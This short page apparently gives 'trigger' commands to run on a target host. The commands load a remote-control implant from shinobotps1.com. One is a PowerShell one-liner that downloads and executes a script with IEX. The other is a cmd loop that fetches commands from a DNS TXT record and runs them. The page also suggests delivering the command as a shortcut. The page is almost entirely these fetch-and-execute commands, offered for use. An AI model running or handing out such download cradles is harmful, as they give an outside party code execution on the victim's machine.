THE TRIGGER

Execute this one-line command on your target host.

powershell IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');


Another TRIGGER, via-DNS.

for /F "usebackq tokens=*" %i in (`"nslookup -querytype=TXT shinobotps1.com"`) do cmd /c %i

The easiest way is to create a shortcut with this command.
You can download a sample shortcut.